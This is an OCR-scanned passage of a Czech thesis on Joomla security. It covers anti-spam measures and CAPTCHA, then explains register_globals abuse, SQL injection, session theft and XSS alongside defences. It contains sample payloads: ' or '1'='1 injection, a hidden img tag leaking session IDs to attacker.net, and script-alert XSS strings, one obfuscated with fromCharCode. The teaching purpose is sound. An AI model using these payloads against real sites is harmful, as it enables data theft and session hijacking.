moznost vkladani pfispévkil. VSe zaleZzi na nastaveni uzivatelskych skupin. I v takovém
pfipadé¢ ale zplsobuji stovky fiktivnich wuZivatell nemalé problémy se spravou
uzivatelskych Uc¢td. Rozsifeni jako Community Builder, umoziujici vymeénovani
soukromych zprav mezi uzivateli, byvaji také zneuzivany roboty. Ackoliv na prvni pohled
neni pfitomnost spamu patrna, mohou byt uZivatelé bez povSimnuti sprdvce obtéZovani
hromadnym rozesilanim nevyzadanych zprav nebo pokusy o ziskani citlivych udaji

pomoci socialniho inZenyrstvi.

3.7.1.2 Vkladani prispévki a komentdii

Tento typ spamu je typicky pro navstévni knihy a jiné formulate, které jsou piistupné bez
registrace uZzivatele. Setkat se lze i s pfipady, kdy je odesldni podminéno opsanim témef
necitelnych znak, ale i1 pfesto se na strance objevuji zpravy robotti. To je Casto zplisobeno
bezpecnostni chybou obsazenou v komponenté, kterou autor spamboota zneuzil k obejiti

kontrolni otazky nebo captchy. V takovém ptipadé nezbyva nic jiného, nez ovéfit zda
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3.7.2 Pasivni ochrana

3.7.2.1 Blacklisty

Pasivni ochrana se zaméfuje na obsah, zdroj nebo zplsob doruceni spamu. V piipadé
blacklistu je to pravé zdroj zpravy, tedy jeho IP adresa. Jednd se o jeden z nejstarSich
zpusobu ochrany, jehoz pouzitelnost je diskutabilni. IP adresa autora ptispévku nemusi
vzdy byt jeho skute¢na. Casto jsou totiZ zneuzivany napadené pocitate obéti, které o jejich
¢innosti nemaji ani tuSeni. Ve vysledku je pak zablokovan pfistup na stranky mnoha
nevinnym uzivatelim, vystupujicich pod stejnou IP adresou. Blacklisty by tedy nemély byt
pouzivany jako primarni ochrana pied spamem, ale spiSe jako doplnkova. Vhodna je
ptedevsim v piipadech, kdy chceme povolit, nebo zakézat pfistup na stranky uzivatelim
z konkrétni zemé. Seznam IP adresa nebo jejich rozsahii lze spravovat pomoci mnoha
roz§ifeni, vénujicich se zabezpeceni Joomly, nebo miiZeme vyuZit moZnosti Upravy

souboru .htaccess.

3.7.2.2 Skenovani obsahu

Zakladni instalace Joomly neobsahuje moZnost filtrovani komentaiti na zakladé slovnik,
obsahujicich vulgarni, nebo z jiného divodu zakazana slova. Vétsina rozsifeni s sebou tuto
funkci pfinasi, ale sprava vlastni databaze je Casoveé naroc¢na a vzhledem k rtiznorodosti
prispévka spamboott také neefektivni. Velka ¢ast uzivatell proto voli ochranu formulait
pomoci captchy. Spam, ktery pfes ni projde, poté odstrani rucné. Existuje ale mnohem
elegantnéjsi a efektivnéjSi teSeni v podobé databédzi sdilenych mezi uzivateli. Mezi
nejpopularngjsi patii Akismet, Mollom, Honey Pot a Bad Behavior. Databaze, kterou
utvaii samotni uZivatelé, miZe obsahovat odkazy vyskytujici se v pfispévcich od
spambootli, IP adresy, emailové adresy, registraéni jména nebo celé¢ komentare. Pied
vlozenim nového pifispévku do redakéniho systému je jeho obsah porovnan s databazi, a
poté je na zakladé odpovedi piijat, nebo zahozen. Obsah stranek muze byt kontrolovan i1
zpétné, ¢imz se lze zbavit prispévkil, které v dobé jejich vzniku jesté nebyly uzivateli

nahlaseny.

3.7.2.3 Ochrana emailovych adres

Kromé spambotii, ktefi vkladaji na web piispévky a komentéafe, existuji také nevitani
roboti, ktefi naopak informace shromazduji. Ti nejCastéji prohledavaji zdrojovy kod

stranek a zamétuji se na textové fetézce obsahujici zavinaC. Ziskané emailové adresy jsou
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ukladany do databazi, které slouzi k rozesilani nevyzadané posty. Abychom tomu zamezili,
je nutné nase emailové adresy i adresy navstévnikd odpovidajicim zplisobem chrénit.
Nejjednodussim avsak nejméné spolehlivym feSenim je nahrazeni zavina¢e nebo pfidanim

nadbytecného ho textu.

e prezdivka (zavinac) domena.cz
e prezdivkaTENTO-TEXT-SMAZ@domena.cz

e prezdivka (at) domena (dot) cz

Vzhledem k tomu, Ze vétSina robotii neumi Cesky, lze prvni dva zplsoby povazovat za

docasné pouzitelné. Treti zptsob je vsak pfilis obvykly a autorim robott dobfe znamy.

Vhodnéj$im feSenim je kodovani nékterych znakl. Takto zapsany znak se v prohlizeci

zobrazi normalné, ale ve zdrojovém kodu vypada takto:
e prezdivka&amp; #64;domena&amp; #46;cz

Kromé v piikladu uzitém Unicode Ize kli¢ové znaky nahrazovat i pomoci hexadecimalniho
kédovani.*

JavaScriptem, pfesmérovani pomoci PHP nebo mod rewrite. Implementovat lze také
vlastni feSeni, skladajici se z kombinaci né€kolika zndmych metod a Sifrovani. At uz se
spravce rozhodne pro jakékoliv feSeni, kromé bezpe¢nosti by mélo byt i uZivatelsky
pratelské. Navstévnici webovych stranek jsou jiz zvykly na opisovani obrazkovych kodu
pti vkladani piispévkid nebo pouzivani formulafe k odesilani emailu z webu. Kdyby vsak
méla byt captchou chranéna kazda emailova adresa, bylo by to pro né uz pfilis obtézujici.
Vsechny emailové adresy v Joomle jsou automaticky chranény JavaScriptem, coz

poskytuje jejich dostate¢nou ochranu, a zdroven umoznuje navstévnikim kliknout na

adresu a ihned zalit psat email pomoci vychoziho postovniho klienta. V ptipadé, ze

8 Jak skryt emailovou adresu pied spammery?. In: Security-Pportal.cz [online]. 2007 [cit. 2013-04-16].
Dostupné zZ: http://www.security-portal.cz/clanky/jak-skr%eC3%BDt-emailovou-adresu-p%C5%99ed-
spammery
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prohlize¢ JavaScript nepodporuje, je navstévnikovi namisto adresy zobrazeno

upozornéni.**

Nekterd rozsifeni jako napiiklad RSFirewall obsahuji moZznost zapnuti obrazkovych
emailovych adres. Ackoliv se nejedna o vysoky stupen ochrany, nabizi alespon alternativu,
ktera nevyzaduje JavaScript. Dalsi moznosti je plugin OSE Email Masking podrobnéji

pfedstaveny nize.

3.7.2.4 robots.txt

Tento textovy soubor, nachdzejici se v kofenovém adresafi, obsahuje piikazy pro
vyhledavaci roboty. Pomoci nich lze zakéazat ptistup do ¢asti webu nebo na konkrétni
stranky, které si nepfejeme indexovat. Ackoliv by se mohlo zdat, ze se jedna o idedlni
zbrain proti spamovacim robotim a dalSim nevitanym navs§tévniklim, skutecnost je
ponckud jinad. Robotiim totiz nikdo nemuze ptikazat, jak se maji chovat, a tak rozhodnuti
zda zékazy respektovat je pouze na nich. Ti zli z nich je zpravidla ignoruji, nebo se
dokonce zaméii na zakazané stranky. Také vkladani adres stranek a souboril, na které
nikde na webu jinak neodkazujeme, je velmi nerozumné. Robot by se k odkaziim jinym
zpiisobem stejné nedostal a takovym jednanim mu je misto toho ptredkladame. Do souboru

robots.txt mize krom¢ vyhleddvacti nahlédnout i utocnik, s cilem ziskat informace o

adresarové struktufe a kritickych souborech.
3.7.3 Aktivni ochrana

3.7.3.1 Captcha

Tento termin souhrnné oznacuje vSechny techniky, kterymi webova aplikace ovéfuje, Ze
ten, kdo z formulafe odesila email nebo prispévek, je ¢loveék. Captcha vyuziva skutecnosti,
ze automatické skripty nedokazi rozpoznat skryty text nebo projit ovéfovacim procesem.
V ptipadech, kdy spam S$iii ¢lovek rucné, tyto metody selhavaji a je nutné je doplnit
vhodnou pasivni ochranou. Vytvofeni takového obrazku, ktery bude Citelny pro ¢loveka a

necitelny pro pocita¢ je v dneSni dob¢ velice obtizné. Protoze se neustale zdokonaluji

** Email Protection Plus for Joomla — its not just for text anymore. In: Anythingdigital [online]. 2011 [cit.
2013-04-16]. Dostupné z: http://anything-digital.com/blog/security/email-protection-plus-for-joomla.html
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metody automatického rozpoznévani textu, nastroje pro generovani obrazku musi zakonité

sl L 45
vytvaret stale vice zdeformované vystupy.

Pravdépodobnost

Typicky deformowvané znaky TR ClIEET

S14|12|C |V ~100%
RIX|FIP IR 96.+%
11l |Cly 100%
(1] )7 0

-

TV RNR Y

Obr. 9. Usp&$nost rozpoznani znaki roboty*®

Existuji 1 zptisoby, které se pomoci technologie OCR nedaji prolomit. Mizeme se setkat
s otdzkami typu: ,Jakou barvu mé bila barva?“. Pojmenovat zvife nebo pifedmét na
obrazku. Vybrat z n¢kolika moZnosti stejna zvifatka a podobné. Zajimavym feSenim jsou
ruzné klikaci hry, puzzle nebo jiné zabavné zpusoby, které uZivatele nenuti opisovat
krkolomny text, jehoZ rozeznavani €asto hrani¢i s hadanim. Zatimco obrazky s nékolika
zdeformovanymi znaky jsou generovany nahodné, otazky a obrazky piedmétt jsou
nacitany z databaze a jejich pocet je omezeny. V ptipadé cileného Gtoku tak muze Gto¢nik

odchytit vS§echny moZné otdzky a pfipravit si k nim pfislusné odpovédi.

Rozpoznéavani captchy za ucelem Sifeni spamu nemusi byt vzdy provadéno programem.
Rozlusténi jednoho kodu vyjde v rozvojovych zemich s levnou pracovni silou na Ctyfi
haléte. 1 kdyz je pro zdkaznika takové feSeni pouzité v masovém méfitku finanéné velmi

nakladné, spolecnosti jako BeatCaptchas a CatpchaBuster si na téchto sluzbach postavily

** ADAMEK, Martin. Spam: jak nepiivoldvat, nepFijimat a nerozesilat nevyzddanou postu. 1. vyd. Praha:
Grada, 2009, 166 s. ISBN 9788024726380.
*® Prevzato z: http://www.cognito.cz/technologie/captcha-jak-znechutit-roboty-a-neodradit-uzivatele/
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byznys. S rostouci popularitou tabletd a chytrych telefoni musime také feSit problém
kompatibility. Zatimco obrazkova captcha se korektné zobrazi ve vétSin¢ prohlizecu,
flashové animace, piehravajici postupné nékolik znakti, budou spolehlivé fungovat jen na
nékolika malo zafizenich. Captcha se také stala nepfekonatelnym problémem zrakové
postizenych lidi, kterym brani v plnohodnotném vyuzivani internetu. Vzhledem ke
skuteCnosti, Ze pocet zrakové postizenych osob neustdle nardsta, bude nutné tuto otazku

ohledn¢ pouzitelnosti captchy V blizké budoucnosti jesté fesit.

3.7.3.2 reCAPTCHA

Jednou z nejpopularnéjsich sluzeb poskytujicich captcha ochranu je reCAPTCHA. Diky
jednoduchému API, podpofe mnoha programovacich jazykd a dostupnym pluginim pro
vétSinu redakénich systémim se s timto formulafem pro opsani znakl setkavdme na webu
stale castéji. Dilezitym aspektem rostouci popularity je 1 skutecnost, ze sluzba je
poskytovana zcela zdarma. Aby ne, kdyz jejim prostfednictvim nevédomky pomahame

prekladat knihy.

Kazdy den opiSou lidé na celém svété kolem 200 milionti kontrolnich kodi jen proto, aby
byla jejich odpovéd’ porovnana se spravnym feSenim a nasledné zahozena. Projekt
reCAPTCHA, ktery vznikl na univerzit¢ Carnegie-Mellon v Pittsburghu, proménil
zbytecné opisovani znakll v prospésnou ¢innost tak, ze misto ndhodnych znaki zobrazoval
slova z pravé piekladanych knih, které nemohl piecist pocitac pomoci standartni metody
OCR. V roce 2009 pifevzal tento projekt Google a s pomoci uZivateld reCAPTCHY se
pustil do digitalizace archivu deniku The New York Times a pozd&ji i knih z Google

Books.*

Prekladany text je nejdfive naskenovan a pomoci OCR metody rozpoznan. Problém je
vtom, ze pocitaC neni dokonaly. Pfestoze jsou K rozpoznavani textu pouzivany
pravdépodobnostni jazykové modely, vysledek Casto obsahuje vice chybné pielozenych

slov nez téch spravnych. Zasadni roli pfitom hraje kvalita tisku a papirové piedlohy.

“ WHAT IS reCAPTCHA. ReCAPTCHA [online]. 2013 [cit. 2013-04-25]. Dostupné z:
http://www.google.com/recaptcha/learnmore
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“This aged portion of society were dirtinguisked frow
o Lol l l l

“niis aged pntkm at society were distinguished frow.”

Obr. 10. Ukézka textu prelozeného pomoci OCR™®

Pocita¢ oznaci slova, ktera pravdépodobné nedokazal piecist, a ty jsou zobrazena lidem na
internetovych strankach ve form¢ captchy. K neznamému slovu je pridano jesté druhé,
jehoZ textova podoba je jiz zndma. Zatimco opsanim prvniho slova poméhame Googlu
s piekladem knih, teprve to druhé je CAPTCHA jako takova. Kazdé neznamé slovo je
predkladano skupiné lidi a finalni textovou podobu pak dostane podle feSeni, které bylo
zpét odeslano v nejvyssim poctu. Vysledkem je pak slovo, ptelozené spravné s 99,5%

plravdépodobnosti.49

V nedavné dobé se kromé slov objevovaly na obrazku i Stitky s ¢islem popisnym

pochazejici ze Street View. Google takto ziskaval nova data pro své mapové podklady.

%
: concladed ©

Obr. 11. Google reCAPTCHA®

*® Pievzato z WHAT IS reCAPTCHA. ReCAPTCHA, Ref. 47

* reCAPTCHA Digitization Accuracy. ReCAPTCHA [online]. 2013 [cit. 2013-04-25]. Dostupné z:
http://www.google.com/recaptcha/digitizing

%0 pievzato z: http://www.google.com/recaptcha/demo/ajax
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3.7.4 Roz§ifeni

Nazev: R Antispam

Autor: Ratmil Licence: Nekomeréni
Pro: m Aktualizator: Ne

Popis: Jednd se o modul chranici diskuzni fora postavend na rozsifenich Kunena,
NinjaBoard a ccBoard pfed spamem pomoci Bayesova algoritmu. Princip lze
zjednodusen¢ popsat tak, ze filtru je pfedloZzen vzorek nékolika spami a hamu
(korektni piispévek), z nichz se analyzou vyskytu slov nauci, kterd slova a s
jakou pravdépodobnosti se vyskytuji v jednotlivych kategoriich. S tim jak jsou
do diskuzi vklddany nové piispévky a oznaCovany spamy se filtr uci, a jeho
schopnost spravn¢ identifikovat spam se stale zdokonaluje. Rozsifeni umoznuje
nastavit procentualni hodnotu meze, po jejiz prekroceni je piispévek oznacen za
spam. Dokaze se také integrovat do ruznych komponent, které vyuZzivaji

pluginy.>

Nizev:  EasyCalcCheck PLUS
LT Autor:  Viktor Vogel Licence: Nekomer¢ni

Pro: Lrﬂ Aktualizator: Ne

Popis:  Toto rozsifeni poskytuje komplexni ochranu pied spamem. Dokéze se integrovat
jak do jadra Joomly, tak 1 do mnoha popularnich komponent. Podporuje
matematickou captchu, reCAPTCHU a dalsi externi sluzby pro rozeznavani
spamu pomoci porovnavani obsahu s riznymi databazemi. Vyuziva také
skrytych poli, kterd na rozdil od lidi roboti vyplni, a tim se prozradi.

Implementovéna je i zakladni ochrana pfed SQL injection.*

> R Antispam. In: The Joomla! Extensions Directory [online]. 2013 [cit. 2013-04-19]. Dostupné z:
http://extensions.joomla.org/extensions/access-a-security/site-security/spam-protection/16331

%2 EasyCalcCheck PLUS. In: The Joomla! Extensions Directory [online]. 2013 [cit. 2013-04-19]. Dostupné z:
http://extensions.joomla.org/extensions/access-a-security/site-security/captcha/11964
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Nazev: KeyCAPTCHA

[ Autor:  Mersane, Ltd Licence: Nekomeréni
B rcha Pro: Lﬁﬂ 23 Aktualizator: Ne
Popis: KeyCAPTCHA nabizi alternativu ke klasické captche formou obrazki, u nichz je

®

nutné spravné umistit chybéjici puzzle dilek. Ptesto ze je se jednd o efektivni
feSeni obrany proti spamu a zaroven i piijemné&j$i zptisob odliSeni ¢lovéka od
robota, rozhodujicim faktorem pro pouzit muze byt skutecnost, ze ne kazdy
prohliZze¢ a zafizeni dokéaze tento druh captchy korektné zobrazit. RozSiteni se
dokaze integrovat do vice nez dvou desitek nejpopularnéjSich komponent,
predevsim do formulédit, navstévnich knih a diskuzi, kde najde své uplatnéni.
Ochrani ale i standartni registracni formulafe, stranky pro reset hesla nebo

v s v J4 . r 53
pfipomenuti uzivatelského jména.

Nazev:  OSE Email Masking plugin

, ; Autor:  OSE Licence: Nekomercni
-
OPEN 50OURCE . > . ;
EXCELLENCE Pro: m Aktualizator: Ne
Popis:  Vychozi plugin pro maskovani emailovych adres v Joomle vyzaduje JavaScript.

Alternativni plugin od OSE proto umoznuje skryt emailové adresy pomoci
Google reCAPTCHA, ktera byla dostupna ve star$i verzi vychoziho pluginu, a
JavaScript nevyzaduje. Chranéna adresa je zpfistupnéna az po spravném opsani

kontrolniho textu.**

% KeyCAPTCHA. In: The Joomla! Extensions Directory [online]. 2013 [cit. 2013-04-04]. Dostupné z:
http://extensions.joomla.org/extensions/access-a-security/site-security/captcha/18364

> OSE Email Masking plugin. In: The Joomla! Extensions Directory [online]. 2013 [cit. 2013-04-04].
Dostupné z: http://extensions.joomla.org/extensions/access-a-security/site-security/captcha/20983
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4 TYPY UTOKU NA REDAKCNI SYSTEMY

Utoktl na webové aplikace existuji desitky. V této asti prace predstavim pouze pétici

nejznaméjSich a pro redakeni systémy typickych tutoku.

4.1 Podstréeni proménnych

Hrozba tohoto typu Tttoku je redlnd pouze pokud mame nastavené
register globals=on. PfestoZe se jednd o stary zplsob programovéani v PHP, na
webu najdeme mnoho aplikaci, které tuto direktivu vyzaduji. Register globals
prevadi vSechny hodnoty, ziskané z superglobdlnich proménnych (GET a POST data,
SESSIONS, COOKIES) na globalni proménné. Zjednodusené¢ feceno, mizeme snadno
meénit hodnoty proménnych napiiklad pomoci tGpravy URL adresy v adresnim fadku

s~ v bb
prohlizece.

Soucasné verze Joomly direktivu register globals nevyZaduji a méla by byt
vypnuta. Star$i verze 1.0.x mély vestaveny emulator tohoto nastaveni, ktery byl
implementovan kvuli zpétné kompatibilité rozsifeni pro redakéni systém Mambo. Obecné

ale neni doporucovano jej zapinat. Jeho nastaveni se nachazi v souboru globals.php

umisténém v kofenovém adresaii.”®

4.1.1 Priklad utoku

Aplikace obsahuje nasledujici kod:

if ($Saccess)
{
require (“citlive info.php"“);
}

Utoénik zada URL adresu index.php?access=1

> Zabezpe&eni webovych aplikaci II1. - ostatni utoky a nastaveni prostiedi. In: Access server [online]. 2007
[cit. 2013-04-28]. Dostupné z: http://access.feld.cvut.cz/view.php?cisloclanku=2007080003

® Register globals. In: Joomla! Documentation [online]. 2011 [cit. 2013-04-28]. Dostupné z:
http://docs.joomla.org/Register_globals
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Tim dojde k podstréeni proménné a splnéni podminky k pfistupu k souboru s citlivymi

informacemi.

4.1.2 Zabezpeceni proti podstréeni proménnych

Nejjednodussi ochranou je vypnuti direktivy register globals. V pfipadé, Ze ji
webova aplikace vyzaduje, je vhodné zvolit jinou alternativu. Od verze PHP 5.4

registr globals neni dile podporovana.

4.2 SQL injection

Pfi tomto druhu utoku se vyuziva Spatného oSetfeni vstupu od uZivatele pii sestavovani
SQL dotazut. V klasickém piipad¢ je utok na internetové stranky provadén pies neoSetieny

formuléf, manipulaci s URL nebo tieba i podstréenim upravené cookie.

Podstatou utoku je rozSifeni dotazu o dalsi podminky. V SQL jazyku jsou hodnoty
ohrani¢ovany pomoci znaku '. Pokud tedy narazi na tento znak, pochopi jeho vyskyt jako
konec hodnoty a dal pracuje se zbyvajicimi znaky fetézce jako s pokracovanim dotazu.
Pomoci ptikazu UNION pak mlizeme spojovat vice dotazli typu SELECT a Cist tak data i
zjinych tabulek. U databazovych systému postgreSQL nebo SQLite je situace jesté

omezen jen na praci s piikazem SELECT. Mize tak prakticky ziskat kontrolu nad celou
databézi.

4.2.1 Priklad utoku

V PHP aplikaci bézici na serveru je vstupni parametr $name zpracovavan takto:

mysgl query ("SELECT * FROM users WHERE username='S$name'");
Utoénik viak do textového pole umisti napf. fetézec:

"or '1'='l

Vysledny dotaz bude vypadat nasledovné:

SELECT * FROM users WHERE username='"' or '1'='1"

Takovy dotaz vrati vSechny polozky tabulky ,,users®, jelikoZ jedna se vzdy rovna jedné a

podminka WHERE je tak splnéna. Pak uz zalezi na dal$im zpracovani ziskanych dat
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aplikaci. Pokud by byl vysledek dotazu vypisovan na obrazovku, ziskal by uto¢nik piehled

vSech uzivatelll registrovanych v systému.

Na konec fetézce lez pripsat jesté dvé pomlcky, nebo jiné znaky pouzivané v SQL jazyce
pro oznaceni komentare. Timto zpisobem lze zakomentovat dal$i podminky nachazejici se

za proménnou, které pak budou ignorovany.

4.2.2 Zabezpeceni proti SQL injection

Bézny uzivatel redakéniho systému nema pfili§ velky vliv na zranitelnost aplikace proti
SQL injection. Nem¢l by instalovat neznamé pluginy a komponenty, piedevsim pak ty, jez
jsou uvedeny v seznamu zranitelnych rozsifeni. Jejich celkovy pocet by pfitom mél omezit
jen na nutné minimum. V nékterych ptipadech muize Gtoku zabranit rozsifeni zajist'ujici
komplexni bezpecnost. Dostatecné kreativni utocnik vSak tuto ochranu dokaze piekonat,

nebot’ zminénd rozsifeni se ¢asto zamétuji pouze na fetézce typické pro injection utok.

Metod, kterymi miize vyvojar chranit své aplikace pfed SQL injection, existuje cela fada.
Prvni z nich spoc¢iva ve spravném pievedeni vSech kontrolnich znacek na jejich datovou
reprezentaci pomoci escapovani - v piipadé MySQL tedy doplnénim o zpétné lomitko. V
PHP jazyce slouzi k tomuto ucelu funkce mysgl real escape string. Po pfipojeni
musi byt jeSt€ zavoldna funkce mysgl set charset. V nékterych asijskych
vicebajtovych znakovych sadéch je totiz mozné provést SQL injection Utok i pfes zminéna
opatfeni. DalSim problémem jsou piipady, kdy SQL dotaz ofekéva ciselnou hodnotu.
Resenim miize byt napiiklad pfetypovani na integer. Podminkou spravné funkénosti je
také vypnutd direktiva magic quotes gpc, jinak by dochazelo k dvojitému

nahrazovani.’

Vhodnéj$i metodou je pouziti databazové vrstvy, ktera dokaze oddélit data od zbytku SQL
dotazu. O spravné oSetieni se tedy stard tato vrstva sama. Jedna se o komplexngjsi feseni,
které v prvni fad€¢ vyzaduje, abychom k databazi ptistupovali prostfednictvim urcitého

systému. Typickym ptikladem je MySQLi nebo PearDB.

5" Ctvrtkon 5 - Michal Spagek - Bezpe&nostni utoky na webové aplikace. In: Youtube [online]. 10.02.2013
[cit. 2013-04-29]. Dostupné z: http://www.youtube.com/watch?v=Ym4-YSozlrg . Kanal uZivatele Jan
Muller.
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4.2.2.1 Prepared Statemants

V mnoha aspektech nejlepSim feSenim je vytvéieni dotazli pomoci Prepared Statemants,
které¢ jsou v MySQL podporovany od verze 4.1. Nejenze je tato metoda odolna vici
injection utoktim, ale zarovenn ma pozitivni vliv na vykonost. Na rozdil od tradi¢niho
protokolu, ktery data nejdiive pfevede na fetézec a ten teprve odesila na server, kde je
zpétné konvertovan na puvodni datovy typ, vyuzivaji Prepared Statemants bindrniho
protokolu. Nedochazi tak ke zpomaleni pfenosu a narustu objemu pienesenych dat. Pokud
volame stejny dotaz vicekrat ale s riznymi parametry, dochazi k parsovani pouze u
prvniho dotazu. Pfi dal$im dotazovani se se jiz pouziva predpiipravend verze. PS je mozné
vyuzit v SQL dotazech typu SELECT, INSERT, REPLACE, UPDATE, DELETE a

CREATE TABLE.®

4.3 Kradez session

Pvodni funkci HTTP protokolu bylo pouze odpovidani na pozadavky a nebylo tedy nutné
udrzovat jakékoliv informace o uzivateli, ktery pozadavek odeslal. Na rozdil od protokoli
IMAP nebo SSH je proto bezstavovy. K dispozici ma pouze informace piedavané pii

spojeni, tedy obsah pozadavku a informace o spojeni.

K identifikaci klienta v pfipadé posloupnosti pozadavki se vyuziva Session. Aby server
spravn¢ prifadil pozadavky ke konkrétnimu klientovi, musi byt oznafeny unikatnim
identifikatorem, ktery se ve vétSiné ptipadi generuje pii ptihlaseni a predavan je jako
cookies, referer v HTTP hlavicce nebo pfimo metodou GET/POST. Session se tedy
vyuzivaji vSude tam, kde je n&jaka autorizace a zajiStuje, aby se po kliknuti naptiklad na
nastaveni uctu zobrazil pravé nas Ucet a nikoli nékoho jiného. Pro identifikaci neni mozné
pouzit IP adresu, protoze pod jednou adresou se do internetu mtize pfipojovat i celd firma.
Podobna situace je 1 v ptipad¢ riznych anonymizéri a proxy. Proto 1ze IP adresu vyuzit

pouze jako dopliiujici prvek identifikace.*®

Podstatou utoku je ziskani identifikatoru sezeni a jeho nasledné podstréeni serveru.

Utoénik pak piedstira korektné ptihlaseného uzivatele. Délka trvani Gtoku je omezena

% PHP a MySQL — MySQLi - 2. dil. In: Programujte.com [online]. 2010 [cit. 2013-05-04]. Dostupné z:
http://programujte.com/clanek/2010030700-php-a-mysql-mysqli-2-dil/

% Advanced session stealing (Gast 1.). In: Security-Portal.cz [online]. 2006 [cit. 2013-05-04]. Dostupné z:
http://www.security-portal.cz/clanky/advanced-session-stealing-%C4%8D%C3%A1st-1
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pouze na ¢as, kdy je obét’ prihlasena. Jakmile se odhlési, je sezeni ukonceno a pii dalSim
pfihlaseni mu bude vygenerovano opét nové unikatni session ID. Metod pro ziskani
session existuje celd fada. VétSinou se uto¢nik snazi podstréit obéti JavaScriptovy kod, at’
uz na strance nebo v piiloze emailu. Jindy je poticba obét’ piesmérovat pies proxy server
nebo vyuzit DNS spoofing. Pfed témi nejjednodussimi je vétSina webt dnes jiz imunni,

jako priklad ale poslouzi dostate¢né.

4.3.1 Priklad utoku

Pokud je identifikator sezeni pfenasen v ULR, Ize provést utok zaloZeny na skutecnosti, Ze
pokud nékdo klikne na odkaz na strance, prohlize¢ v pozadavku posle mimo jiné i polozku
referer obsahujici kompletni URL stranky, kterd odkaz obsahovala. Staci tak obéti
podstréit odkaz na vlastni stranku obsahujici skript, ktery tuto polozku ulozi do databdze
nebo tfeba posle utoénikovi emailem. Utok lze jesté zdokonalit tak, Ze nakonec ani
nevyzaduje aktivitu od uZivatele a je téméf nezjistitelny. Prohlize¢ totiz odesila referer i
s pozadavkem na obrazek, ktery je na strance. Jako zdroj obrazku ale muze byt uveden

skript nachézejici se strance uto¢nika. Obrazek pfitom nemusi byt vibec viditelny.
<img src="http://attacker.net/img.gif" width=0 height=0>

Kromé& HTML ptilohy emailu se ale znaky < a > spravné zinterpretuji ziidkakde.

4.3.2 Zabezpeleni proti kradeZi session

Valna vétsSina XSS utokt je vedena s cilem ziskat session ID. Proto je dulezité zaméfit se

na obranu proti tomuto typu utoku.

Typickou metodou ochrany proti popsanému ptikladu je pfesmérovani. Uzivatel, ktery
klikne na odkaz je nejdfive pfesmérovan na stranku, ktera nevyzaduje identifikaci a odtud
je teprve presmérovan na cilovou adresu. Takto ziskany HTTP referer je pro utoc¢nika

bezcenny.60

Proti odposlouchavani session je vhodné pouzivat Sifrované HTTPS. Pokud je Sifrovano
pouze piihlaseni, utocnik nedokaze odposlechnout heslo, cookies vSak ano. Identifikéatory

sezeni je nutné generovat nahodné a kontrolovat 1 IP adresu uZivatele. Délka sezeni by

% SELEMENT, Pavel a Martin MAJOR. Zranitelnosti webovych aplikaci. Praha, 2008. Dostupné z:
http://ondrej.jikos.cz/vyuka/swil17/2008/zranitelnost-webovych-aplikaci.pdf
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méla byt nastavena na co nejniz$i hodnotu, zarovent by vSak neméla obtézovat uzivatele
neustalym odhlaSovanim. V Joomle Ize nastavit platnost sezeni v globalnim nastaveni pod
zalozkou ,,Systém®. Kontrola IP adresy uzivatele, ktery sezeni zacal, neni v Joomle
implementovana. To lze vSak zm¢énit instalaci komer¢niho rozsifeni vSession Control.
S aktivnim sezenim by navstévnici a spravci neméli prohlizet jiné weby a pied opusSténim

stranky by se vzdy méli odhlasit z aplikace.

4.4 Cross-Site Scripting (XSS)

XSS je dnes jednim z nejpopularnéjSich Gtokl na webové stranky a spoc¢iva ve vkladani
obvykle JavaScriptového kodu nebo HTML tagt do stranky. Nemusi se vSak vzdy jednat
pouze 0 webova fora nebo navstévni knihy, které dovoluji uzivateli odeslat vstupni data.
Reflected utok totiz JavaScriptovy kod nikam neuklada. Takto napadnutelna je podle
odhadll naprostd vétSina internetovych stranek. Nejednd se ovSem o utok proti webové
aplikaci, nybrz proti navstévnikim stranek, které generuje. XSS byva ¢asto podcenovan,
jelikoz se muze zdat, ze JavaScript je pomémné neskodny jazyk. Existuje ale nékolik
frameworkl, znichz pravdépodobné nejznaméjsi je BeEF, které pomoci JavaScriptu
dokazi odchytavat stisknuté klaves, skenovat sit, v niz se obét nachazi nebo vyuzit
bezpecnostnich dér prohlizece k ovladnuti pocitace. Cilem utoku ale mize byt 1 spusténi
klientského skriptu relativné nedestrukéniho charakteru zpiisobujici zménu vzhledu nebo

chybnou validaci zdrojového kodu.®*

4.4.1 Reflected XSS

Reflected utok byva do cestiny piekladan jako okamzity. Jeho podstatou je totiz okamzité
vykonéni nebezpecného skriptu, ktery je predavan v parametrech URL adresy a neni tedy
trvale vlozen do stranky. Staci, aby obét’ pfistoupila pomoci podstréeného odkazu na
stranky generované webovou aplikaci, ktera vyuziva parametry prenasené v URL adrese.
Skript obsazeny v odkazu pak napiiklad odeSle pozadované udaje z prohlizeCe obéti na

server uto¢nika, kde dojde k jejich zpracovani. Prohlize¢ takové jednani neposoudi jako

81 Zabezpeteni webovych aplikaci I. - klientské skriptovaci jazyky. In: Access server [online]. 2007 [cit.
2013-05-10]. Dostupné z: http://access.feld.cvut.cz/view.php?cisloclanku=2007090001
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bezpecnostni riziko, protoze vykonany skript patii webové aplikaci a ta je opravnéna

piistupovat k datim prohlizede.®

4.4.2 Stored XSS

wevr

navstévnikil, 1 kdyz na stranky pftistoupily pies regulérni odkaz. Lze se snim setkat
pfevazné na strankach, jejichz obsah je nacitdn z databdze nebo v prostfedi webového
emailového klienta. Teréem ttoku se proto stavaji diskuzni fora a navitévni knihy. Utoénik
tézi Z nedostate¢né zabezpecenych vstupt a vystupi, kdy jsou nebezpecné znaky nasledné

zobrazovany ptimo v textu.®®
4.4.3 Priklady atoku

4.43.1 Reflected
Nadpis stranky je nacitan pomoci nasledujiciho PHP kodu:
<?php echo $_GET['nadpis’]; ?>

Utoénik podstréi obéti upraveny odkaz obsahujici skript, ktery bude po kliknuti zpracovan

prohliZzecem.

http://urladresa/stranka.php?nadpis=Nadpis<script>alert ('Toto

je Uspésdny XSS utok.');</script>

4.4.3.2 Stored

Piikladem utoku typu stored mtZe byt komentaf vloZeny do navstévni knihy napadenych
stranek. Pfi zobrazeni stranky se vloZeny skript spusti kazdému navstévnikovi, ktery ma

v prohlizeé¢i povolen JavaScript.

Tohle Jsou vazné<script>alert ('Toto je Gaspésdny XSS

utok.')</script> super webovky!

%2 SCAMBRAY, Joel a Mike SHEMA.. Hacking bez tajemstvi: webové aplikace. Vyd. 1. Brno: Computer
Press, 2003, 328 s. ISBN 8072267698.
% SCAMBRAY, Joel a Mike SHEMA, Ref. 62
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4.4.3.3 Maskovani kodu

JavaScriptovy kod mize byt riznymi zpisoby maskovan. Jednou z moznosti je funkce

objektu String fromCharCode, ktera konvertuje ASCII kéd na jeho znakovou podobu.

<script>alert (String.fromCharCode (88, 83, 83));</script>

